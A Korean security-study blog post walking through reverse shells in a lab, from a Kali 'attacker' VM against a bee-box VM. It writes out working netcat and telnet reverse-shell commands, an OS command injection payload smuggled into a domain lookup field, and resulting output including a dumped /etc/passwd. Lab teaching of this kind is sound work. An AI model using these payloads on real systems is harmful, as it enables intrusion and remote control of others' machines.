겉바속촉
[보안] Reverse Shell 동작 원리 본문
이번에는 Reverse Shell 동작 원리에 대해서 살펴보도록 하겠습니다.
지난 번 포스팅에서 운영체제 명령어 삽입을 배우면서 대략적으로 살펴봤는데요:)
먼저 보고 오는 게 더 좋겠쥬?~
2021/02/13 - [IT 일기 (상반기)/네트워크 및 시스템 보안] - [보안] OS Command Injection Reverse shell
우선 공격자가 reverse shell 동작이 가능하도록 하기 위해선
내부에서 외부로 접속할 때 쓰일 특정 포트를 열어두어야 합니다:)
다음과 같이요!!!
#1 @Attacker 가상머신에 리스팅 모드로 nc를 실행
┌──(kali㉿kali)-[~]
└─$ nc -lvp 8282
listening on [any] 8282 ...
-l : listening 즉, 특정포트로 리퀘스트가 들어올때까지 기다리겠다는 것
-p : 포트
-v : 설명 보여주라는 것
#2 @Bee-Box 가상머신에서 @Attacker 가상머신으로 접속
- nc attacker 8282 까지 명령하면 연결만 되는 것
- nc attacker 8282 -e /bin/bash 까지 명령하면 연결 이후에 실행될 명령어까지 진행. 즉, 쉘을 구동하라는 것
bee@bee-box:~$ nc attacker 8282 -e /bin/bash
//아무런 내용도 출력안되는 것이 맞습니다.
#3 @Attacker 가상머신에서 쉘 명령어를 전달
┌──(kali㉿kali)-[~]
└─$ nc -lvp 8282
listening on [any] 8282 ...
connect to [192.168.137.134] from bee-box [192.168.137.138] 48674
//연결이 들어왔다고 떠있습니다.
이 상태에서 ls 명령 주기
┌──(kali㉿kali)-[~]
└─$ nc -lvp 8282
listening on [any] 8282 ...
connect to [192.168.137.134] from bee-box [192.168.137.138] 48674
ls
Desktop
Documents
Examples
Music
Pictures
Public
Templates
Videos
bee-box의 ls가 나오는 것입니다.
궁금하면 ip a까지 해보도록 할게요
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
link/ether 00:0c:29:3e:ba:70 brd ff:ff:ff:ff:ff:ff
inet 192.168.137.138/24 brd 192.168.137.255 scope global eth0
inet6 fe80::20c:29ff:fe3e:ba70/64 scope link
valid_lft forever preferred_lft forever
주소를 보니까 138번이 나오는 데 bee-box의 ip 주소입니다:)
현재까지 이루어진 과정을 그림으로 또 살펴볼게요.
1. attacker 가상머신에서 8282번 포트를 통해 서비스를 띄어두었습니다.
2. 나가는 것은 차단되지 않기때문에 연결된 후에 bash 쉘을 구동해줍니다.
3. 실행된 결과는 attacker에서 출력이 됩니다.
운영체제 명령어 취약점을 이용해서 리버스 쉘을 구동
#1 nc 서버를 구동
┌──(kali㉿kali)-[~]
└─$ nc -lvp 8282 1 ⨯
listening on [any] 8282 ...
#2 운영체제 명령어 취약점으로 가지고 있는 페이지에 nc 서버로 접속하는 명령어를 전달
input창에 다음 명령어를 넣어주시는 겁니다.
www.nsa.gov; nc attacker 8282 -e /bin/bash
그리고 lookup을 클릭하신 후에 터미널 창 확인!!!
다음과 같이 연결되었다고 떠있을 겁니다.
┌──(kali㉿kali)-[~]
└─$ nc -lvp 8282 1 ⨯
listening on [any] 8282 ...
connect to [192.168.137.134] from bee-box [192.168.137.138] 54677
여러가지 명령들 내려봤습니다.
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
link/ether 00:0c:29:3e:ba:70 brd ff:ff:ff:ff:ff:ff
inet 192.168.137.138/24 brd 192.168.137.255 scope global eth0
inet6 fe80::20c:29ff:fe3e:ba70/64 scope link
valid_lft forever preferred_lft forever
whoami
www-data
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
hplip:x:104:7:HPLIP system user,,,:/var/run/hplip:/bin/false
avahi-autoipd:x:105:113:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
gdm:x:106:114:Gnome Display Manager:/var/lib/gdm:/bin/false
pulse:x:107:116:PulseAudio daemon,,,:/var/run/pulse:/bin/false
messagebus:x:108:119::/var/run/dbus:/bin/false
avahi:x:109:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
polkituser:x:110:122:PolicyKit,,,:/var/run/PolicyKit:/bin/false
haldaemon:x:111:123:Hardware abstraction layer,,,:/var/run/hald:/bin/false
bee:x:1000:1000:bee,,,:/home/bee:/bin/bash
mysql:x:112:124:MySQL Server,,,:/var/lib/mysql:/bin/false
sshd:x:113:65534::/var/run/sshd:/usr/sbin/nologin
dovecot:x:114:126:Dovecot mail server,,,:/usr/lib/dovecot:/bin/false
smmta:x:115:127:Mail Transfer Agent,,,:/var/lib/sendmail:/bin/false
smmsp:x:116:128:Mail Submission Program,,,:/var/lib/sendmail:/bin/false
neo:x:1001:1001::/home/neo:/bin/sh
alice:x:1002:1002::/home/alice:/bin/sh
thor:x:1003:1003::/home/thor:/bin/sh
wolverine:x:1004:1004::/home/wolverine:/bin/sh
johnny:x:1005:1005::/home/johnny:/bin/sh
selene:x:1006:1006::/home/selene:/bin/sh
postfix:x:117:129::/var/spool/postfix:/bin/false
proftpd:x:118:65534::/var/run/proftpd:/bin/false
ftp:x:119:65534::/home/ftp:/bin/false
snmp:x:120:65534::/var/lib/snmp:/bin/false
ntp:x:121:131::/home/ntp:/bin/false
운영체제 명령어 삽입 취약점을 통해서 구동하고 있는 것입니다.
외부에 노출되어 있는 쉘 구동하는 페이지를 활용한 것이죠!!
그렇다면 nc 가 없고 telnet 만 가능하다면?
@Attacker 가상머신에 nc 서버를 2개 실행
터미널을 2개 열어서 가동 중입니다.
- 5555는 명령어 전달 용도, 즉 송신용도 (공격자의 명령을 전달)
- 6666은 수신용도 (명령 수행 후 결과 전달)
@Bee-Box 가상머신에서 nc 서버로 접속
nc가 없다고 가정했기 때문에 telnet attacker 5555 명령을 통해 연결해줍니다.
bee@bee-box:~$ telnet attacker 5555
Trying 192.168.137.134...
Connected to attacker.
Escape character is '^]'.
하지만 이상태에서 ls 명령을 내려봤자 명령어로 인식하지 못하고 그냥 문자열로밖에 인식하지 못합니다.
말 그대로 연결만 된 상태기 때문이죠
쉘로서 동작하려면 쉘이 구동되어야 합니다.
연결된 통로로 전달된 값이 쉘 명령어로 동작해야되는 것이죠.
이 때 사용하는 것이 바로 파이프
ls | grep D
그렇다면 다음과 같이 명령을 내려야겠네요.
telnet attacker 5555 | /bin/bash
하지만 attacker에서 출력이 되었으면 합니다. 그래서 파이프를 하나 더 해줄게요
telnet attacker 5555 | /bin/bash | telnet attacker 6666
**접속이 자꾸 끊기는 경우 해결방안**
www.nsa.gov | sleep 1000 ; telnet attacker 5555 | /bin/bash | telnet attacker 6666
'IT 일기 (상반기) > 네트워크 및 시스템 보안' 카테고리의 다른 글
[보안] tera term 설치하기 (0) | 2021.03.03 |
---|---|
[보안] VirtualBox 설치하기 (0) | 2021.03.03 |
[보안] OS Command Injection Reverse shell (0) | 2021.02.13 |
[보안] WebGoat_Malicious File Execution (2) | 2021.02.12 |
[보안] 경로조작 (0) | 2021.02.12 |